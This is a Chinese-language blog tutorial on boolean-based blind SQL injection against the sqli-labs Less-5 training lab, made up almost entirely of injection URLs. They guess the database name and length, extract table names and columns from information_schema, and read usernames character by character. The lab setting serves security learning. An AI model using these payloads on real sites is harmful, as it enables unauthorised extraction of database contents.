mysql 基于布尔的盲注

2018-03-09  本文已影响0人  Sec小玖

输入:http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=1 %23

输入正确时提示  you are in.......

输入:http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=2 %23

输入错误时,不提示任何信息

考虑是盲注

1,判断数据库第一位

http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),1)='s' %23

http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),1)>'a' %23

可以用二分法来提高注入的效率

left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位

判断正确,显示you are in.......

判断失败无显示

2.猜测数据库第二位

http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),2) > 'sa' %23

http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),2) = 'se' %23

3.判断数据库名称长度是否为8位

http://192.168.87.130/sqli-labs/Less-5/?id=1' and length(database())=8 %23

length(database())=8,判断数据库database()名的长度

4.利用 substr() ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符

http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23

ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

5.猜解第一个表的第二位字符,使用 substr(**,2,1)

http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23   

109即email中的字母m

6.猜解第二个表

上文中获取第一个表使用的 limit 0,1是从第0个开始,取第1个;那么获取第二个表使用 limit 1,1即可

http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 %23

然后按照上述方法重复,就能够获取所有表的名字

7.使用regexp获取 users表中的列

用法介绍: select user() regexp '^[a-z]';

Explain: 正则表达式的用法, user()结果为 root, regexp 为匹配 root 的正则表达式。

第二位可以用 select user() regexp '^ro'来进行。

http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

上述语句时选择 users 表中的列名是否有 us**的列

http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

8.利用 ord() 和 mid() 函数获取 users 表的内容

http://192.168.87.130/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

Explain: mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位

Ord()函数同 ascii(), 将字符转为 ascii 值

获取 users 表中的内容。 获取 username 中的第一行的第一个字符的 ascii, 与 68 进行比较,即为D

重复上述步骤即可,以上对布尔盲注 SQL 的所有的payload进行了展示。 

上一篇下一篇

猜你喜欢

热点阅读